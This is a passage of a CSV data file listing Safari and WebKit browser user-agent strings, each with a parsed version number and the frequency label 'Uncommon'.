Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexMobileBot/3.0; +http://yandex.com/bots)\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/546.10 (KHTML, like Gecko) Version/6.0 Mobile/7E18WD Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.27 (KHTML, like Gecko) Version/11.0 Safari/604.1.27\",11,Uncommon\n\"\"\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5\"\"\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.71 (KHTML, like Gecko) Version/6.1 Safari/537.71\",6.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko, Safari/9537.85.12.18) ADM/784\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; fr-fr) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17\",6,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.23 (KHTML, like Gecko) Version/10.0 Mobile/14E5239e Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/538.1 (KHTML, like Gecko) Tableau Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) WebClip/13604.4.7.1.3 Safari/13604.4.7.1.3\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) python Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 EdgiOS/41.11.0.0 Mobile/15D100 Safari/604.5.6\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8_0; nl-nl) AppleWebKit/537.75.14 (KHTML, like Gecko) Fluid/1.7.1 Safari/537.75.14\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10603.1.30.0.34 Safari/10603.1.30.0.34\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Safari/522.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3,gzip(gfe)\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS 7.1.2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) 1Password/4.5.3 (like Version/11D257 Mobile/7.1.2 Safari/8536.25)\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/604.5.6 (KHTML, like Gecko) Safari/604.5.6\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PokerClient Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1) AppleWebKit/536.25 (KHTML, like Gecko) Version/6.0 Safari/536.25\",6,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS (null) like Mac OS X) AppleWebKit/(null) (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.1.3+PhantomJS/1.9.8 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/1.0 Safari/1\",1.0,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19\",4,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E227 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; it-it) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\",3.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.1.7 Safari/7046A194A\",7.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A5346a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 EdgiOS/41.9.0.0 Mobile/15C202 Safari/604.4.7\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_10_5) AppleWebKit/603.2.5 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.5\",10.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) CasperJS/1.1.0-beta3+PhantomJS/1.9.2 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; PowerPC AmigaOS 4.1; Odyssey Web Browser; rv:1.23) AppleWebKit/538.1 (KHTML, like Gecko) OWB/1.23 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B93 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/6.0.2 Safari/534.57.2\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/6.1 Safari/537.71\",6.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT based; en-US) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Safari/528.17\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.17 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_8 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8E401 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_9_5 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5200d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10602.2.14.0.5 Safari/10602.2.14.0.7\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; th-th) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit/602.3.10 (KHTML, like Gecko) Version/10.0 Mobile/14C5077b Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone U CPU like Mac OS X en) AppleWebKit/420+ (KHTML, like Gecko)Version/3.0 Mobile/1A543 Safari/419.3\",3,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_12_0) AppleWebKit/604.1.30 (KHTML, like Gecko) Version/12.1 Safari/604.1.30\",12.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1) AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.2.10 (KHTML, like Gecko) Version/11.0 Mobile/15A8401 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3         (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.73.11 (KHTML, like Gecko) Version/6.1.1 Safari/537.73.11\",6.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0  like Mac OS X) AppleWebKit/602.1.32 (KHTML, like Gecko) Version/10.0 Mobile/14A5261v Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46.60.1 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.1 (KHTML, like Gecko) Version/10.0 Mobile/14G5028a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/5.1 Mobile/11B554a Safari/9537.53\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14.1.1 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.0.2 Mobile/9A5248d Safari/6533.18.5#2.0#TCL/TCL-ME-MS68-S1/22/tclwebkit1.0.2/1920*1080(444178386,null;221158002,f58ad39ee4cb4fc185e3154bc762e607)\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS X 10_9_5 like Mac OS X) AppleWebKit/357.51.2 (KHTML, like Gecko) Version 7.0 Mobile/11D257Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4\",6.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 FBSMTWB\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D11 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Safari/602.1.38\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B67 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) WebClip/13604.4.7.1.6 Safari/13604.4.7.1.6\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) CustomBrowser Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C82 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; de-de) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C5111a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.43 (KHTML, like Gecko) Version/10.1.2 Safari/602.1.43\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/10.0.1 Safari/601.3.9\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5370a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit/603.1.29 (KHTML, like Gecko) Version/10.0 Mobile/14E5249d Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.5.6\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/546.10 (KHTML, like Gecko) Version/6.0 Mobile/7E18WD Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.15 (KHTML, like Gecko) Safari/538.15 Version/6.0 dwb/2014.03.16\",6,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; vi-vn) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) WebClip/12604.1.38.1.7 Safari/12604.1.38.1.7\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\",3.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J3 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/7.1 Safari/537.85.10\",7.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit/604.3.3 (KHTML, like Gecko) Version/11.0 Mobile/15B5078e Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/11.0.3 Safari\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.1 Safari/601.2.7\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/602.1.37 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.4\",9.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.25 (KHTML, like Gecko) Version/11.0 Mobile/15A5304j Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.6 (KHTML, like Gecko) Version/10.0 Mobile/14G5053a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8\",,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\",3.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/11.0 Safari/603.1.50\",11,Uncommon\n\"Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\",3.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0 Safari/537.78.2\",7,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.3 (KHTML, like Gecko) Safari/535.3 EAWebKit/13.4.2.0.0 APB/2.0\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/537.4 (KHTML, like Gecko; Google Page Speed Insights) Version/6.0 Mobile/10A525 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A404 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT) AppleWebKit/533.3 (KHTML, like Gecko) Qt/4.7.4 Safari/533.3\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; it-it) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) demobrowser/0.1 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; pt-pt) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Uncommon\n\"Mozilla/5.0(iPad; U; CPU iPhone OS 11_0 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/11.0.0 Mobile/7B314 Safari/531.21.10\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C90 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Version/11.0.2 Safari/602.4.8\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.5 (KHTML, like Gecko) Version/11.0 Mobile/15D5054a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.1 Safari/602.4.8\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Safari/601.6.17\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C5055d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 1063; tr-DE) AppleWebKit/533.16 (KHTML like Gecko) Version/5.0 Safari/533.16,5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; nl-nl) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9.2.1 like Mac OS X; en_US) AppleWebKit/1 (KHTML, like Gecko) Mobile/1 Safari/1 iPhone/1 EtsyInc/4.31 rv:43100.64.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/602.4.6 (KHTML, like Gecko) Safari/602.4.6\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Safari/531.9\",,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.73.11 (KHTML like Gecko) Version/7.0.1 Safari/537.73.11,7,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Fluid/0.9.6 Safari/532.3+\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B144 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C82 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/11.0 Safari/601.2.7\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU OS 4_2_1 like Mac OS X) AppleWebKit/532.9 (KHTML, like Gecko) Version/5.0.3 Mobile/8B5097d Safari/6531.22.7\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5233a Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; xx-xx) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/10.0.1 Safari/601.2.7\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.1.32 (KHTML, like Gecko) Version/11.0 Safari/604.1.32\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8\",9.1,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 10_3_3 like Mac OS X; en-ph) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 